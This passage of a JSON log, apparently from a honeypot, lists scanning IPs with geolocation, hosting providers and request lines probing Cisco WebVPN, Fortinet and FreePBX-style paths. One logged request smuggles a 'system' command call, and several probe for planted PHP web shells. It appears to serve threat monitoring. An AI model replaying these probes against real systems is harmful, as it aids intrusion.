        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "McAllen",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "142.252.24.131": {
      "attack_count": 21,
      "first_seen": "2026-05-26T06:06:32.273Z",
      "last_seen": "2026-05-30T12:14:01.447Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "146.70.171.134": {
      "attack_count": 21,
      "first_seen": "2026-05-05T15:55:10.505Z",
      "last_seen": "2026-05-27T22:54:50.224Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "155.2.191.136": {
      "attack_count": 21,
      "first_seen": "2026-05-07T11:59:56.050Z",
      "last_seen": "2026-05-26T03:42:51.817Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "185.128.43.91": {
      "attack_count": 21,
      "first_seen": "2026-05-29T10:45:26.752Z",
      "last_seen": "2026-05-30T08:28:51.888Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "79.127.222.200": {
      "attack_count": 21,
      "first_seen": "2026-05-03T17:09:35.829Z",
      "last_seen": "2026-05-27T17:14:06.733Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "McAllen",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "155.2.191.117": {
      "attack_count": 18,
      "first_seen": "2026-05-05T00:34:54.525Z",
      "last_seen": "2026-05-29T03:10:40.002Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "23.234.104.213": {
      "attack_count": 18,
      "first_seen": "2026-05-05T03:29:30.821Z",
      "last_seen": "2026-05-29T10:09:34.349Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.79.23": {
      "attack_count": 18,
      "first_seen": "2026-05-02T06:54:37.817Z",
      "last_seen": "2026-05-25T09:14:12.422Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "165.154.120.30": {
      "attack_count": 16,
      "first_seen": "2026-05-05T18:31:33.983Z",
      "last_seen": "2026-05-05T18:32:12.895Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "155.2.191.182": {
      "attack_count": 15,
      "first_seen": "2026-05-02T06:29:19.709Z",
      "last_seen": "2026-05-14T08:37:11.106Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "23.162.40.200": {
      "attack_count": 15,
      "first_seen": "2026-05-04T17:19:31.627Z",
      "last_seen": "2026-05-25T20:12:56.303Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400882,
      "as_org": "Cyber Data LLC"
    },
    "23.234.111.68": {
      "attack_count": 15,
      "first_seen": "2026-05-05T15:27:44.519Z",
      "last_seen": "2026-05-27T20:24:24.719Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.81.148": {
      "attack_count": 15,
      "first_seen": "2026-05-05T15:02:17.026Z",
      "last_seen": "2026-05-27T17:53:33.307Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.95.207": {
      "attack_count": 15,
      "first_seen": "2026-05-02T04:39:56.834Z",
      "last_seen": "2026-05-20T01:30:46.321Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.210.21": {
      "attack_count": 15,
      "first_seen": "2026-05-05T14:19:08.192Z",
      "last_seen": "2026-05-24T03:48:12.488Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "142.111.232.27": {
      "attack_count": 14,
      "first_seen": "2026-05-27T03:00:23.765Z",
      "last_seen": "2026-05-29T04:09:12.669Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "142.252.133.207": {
      "attack_count": 14,
      "first_seen": "2026-05-27T15:27:39.145Z",
      "last_seen": "2026-05-29T02:53:32.131Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "142.252.170.51": {
      "attack_count": 14,
      "first_seen": "2026-05-26T07:14:14.337Z",
      "last_seen": "2026-05-29T16:34:55.297Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "142.252.81.214": {
      "attack_count": 14,
      "first_seen": "2026-05-27T02:12:31.375Z",
      "last_seen": "2026-05-31T00:54:10.770Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.120.17.78": {
      "attack_count": 14,
      "first_seen": "2026-05-26T07:46:39.068Z",
      "last_seen": "2026-05-31T04:27:56.314Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "192.42.116.108": {
      "attack_count": 14,
      "first_seen": "2026-05-24T01:17:42.998Z",
      "last_seen": "2026-05-24T01:29:40.487Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /admin/ajax.php?module=hotelwakeup HTTP/1.1\" 404 -",
        "\"GET /admin/config.php?display=OpenVAS&handler=api&file=OpenVAS&module=OpenVAS&function=system&args=id HTTP/1.1\" 404 -",
        "\"GET /admin/modules/backup/page.backup.php HTTP/1.1\" 404 -",
        "\"GET /maint/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /meetme/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /mobrise/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /modules/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /nwebmail/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /panel/config.all.php?x HTTP/1.1\" 404 -",
        "\"POST /admin/ajax.php?module=recordings HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "45.140.174.86": {
      "attack_count": 14,
      "first_seen": "2026-05-27T20:01:23.958Z",
      "last_seen": "2026-05-29T06:44:21.151Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 395092,
      "as_org": "Shock Hosting LLC"
    },
    "5.42.218.74": {
      "attack_count": 14,
      "first_seen": "2026-05-29T02:07:25.102Z",
      "last_seen": "2026-05-29T18:07:00.132Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "123.160.223.72": {
      "attack_count": 13,
      "first_seen": "2026-05-05T09:04:16.628Z",
      "last_seen": "2026-05-29T22:38:45.993Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet"
    },
    "146.70.171.158": {
      "attack_count": 12,
      "first_seen": "2026-05-08T16:53:16.627Z",
      "last_seen": "2026-05-26T04:45:37.101Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.118.68": {
      "attack_count": 12,
      "first_seen": "2026-05-09T06:09:49.107Z",
      "last_seen": "2026-05-31T02:33:34.025Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.94.200": {
      "attack_count": 12,
      "first_seen": "2026-05-03T00:51:54.010Z",
      "last_seen": "2026-05-23T19:25:28.889Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.99.213": {
      "attack_count": 12,
      "first_seen": "2026-05-04T11:10:19.537Z",
      "last_seen": "2026-05-24T03:59:03.833Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "64.62.156.132": {
      "attack_count": 12,
      "first_seen": "2026-05-19T05:13:00.154Z",
      "last_seen": "2026-05-19T05:19:33.623Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.222": {
      "attack_count": 12,
      "first_seen": "2026-05-23T05:30:29.948Z",
      "last_seen": "2026-05-23T05:36:42.966Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "146.70.211.29": {
      "attack_count": 9,
      "first_seen": "2026-05-02T03:06:26.527Z",
      "last_seen": "2026-05-07T05:19:07.157Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.160.24.200": {
      "attack_count": 9,
      "first_seen": "2026-05-05T10:41:54.697Z",
      "last_seen": "2026-05-06T01:06:17.208Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30671,
      "as_org": "Data Bridge Limited"
    },
    "141.133.80.164": {
      "attack_count": 7,
      "first_seen": "2026-05-26T10:47:58.757Z",
      "last_seen": "2026-05-26T10:48:11.365Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Goldsmith",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.111.121.89": {
      "attack_count": 7,
      "first_seen": "2026-05-26T16:49:25.196Z",
      "last_seen": "2026-05-26T16:49:36.337Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.252.120.64": {
      "attack_count": 7,
      "first_seen": "2026-05-29T11:50:03.883Z",
      "last_seen": "2026-05-29T11:50:13.853Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.252.140.82": {
      "attack_count": 7,
      "first_seen": "2026-05-26T16:06:14.254Z",
      "last_seen": "2026-05-26T16:06:30.459Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "142.252.91.65": {
      "attack_count": 7,
      "first_seen": "2026-05-26T05:59:39.834Z",
      "last_seen": "2026-05-26T05:59:55.382Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "166.88.218.254": {
      "attack_count": 7,
      "first_seen": "2026-05-30T11:53:20.203Z",
      "last_seen": "2026-05-30T11:53:35.631Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.120.202.28": {
      "attack_count": 7,
      "first_seen": "2026-05-29T14:41:41.711Z",
      "last_seen": "2026-05-29T14:41:57.897Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "192.42.116.57": {
      "attack_count": 7,
      "first_seen": "2026-05-24T01:23:29.807Z",
      "last_seen": "2026-05-24T01:23:38.771Z",
      "ports": [],
      "event_types": [
        "\"GET /recordings/Go.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/Hima.php?23 HTTP/1.1\" 404 -",
        "\"GET /recordings/Hima_s.php?123 HTTP/1.1\" 404 -",
        "\"GET /recordings/ec0ed5d0ec037dca5.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/graph.php?module=upload HTTP/1.1\" 404 -",
        "\"GET /recordings/graph.php?module=upload&x HTTP/1.1\" 404 -",
        "\"GET /recordings/info.php?xx HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "88.151.115.143": {
      "attack_count": 7,
      "first_seen": "2026-05-29T04:54:58.320Z",
      "last_seen": "2026-05-29T04:55:10.402Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "192.42.116.105": {
      "attack_count": 6,
      "first_seen": "2026-05-24T01:17:29.928Z",
      "last_seen": "2026-05-24T01:17:41.484Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"POST /admin/ajax.php HTTP/1.1\" 200 -",
        "\"POST /admin/ajax.php?module=blacklist HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "192.42.116.16": {
      "attack_count": 6,
      "first_seen": "2026-05-24T01:20:40.108Z",
      "last_seen": "2026-05-24T01:20:47.563Z",
      "ports": [],
      "event_types": [
        "\"GET /recordings/.tika.php?2hj HTTP/1.1\" 404 -",
        "\"GET /recordings/.tika.php?mnas HTTP/1.1\" 404 -",
        "\"GET /recordings/lol.php?31asd HTTP/1.1\" 404 -",
        "\"GET /recordings/play_page.php?qwe HTTP/1.1\" 404 -",
        "\"GET /recordings/pos.php?ca HTTP/1.1\" 404 -",
        "\"GET /var/tika.php?bbt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "23.234.104.125": {
      "attack_count": 6,
      "first_seen": "2026-05-29T16:16:59.223Z",
      "last_seen": "2026-05-29T20:53:21.799Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.104.81": {
      "attack_count": 6,
      "first_seen": "2026-05-05T07:57:01.329Z",
      "last_seen": "2026-05-23T06:49:18.496Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.68.73": {
      "attack_count": 6,
      "first_seen": "2026-05-03T19:12:18.325Z",
      "last_seen": "2026-05-09T08:04:47.384Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
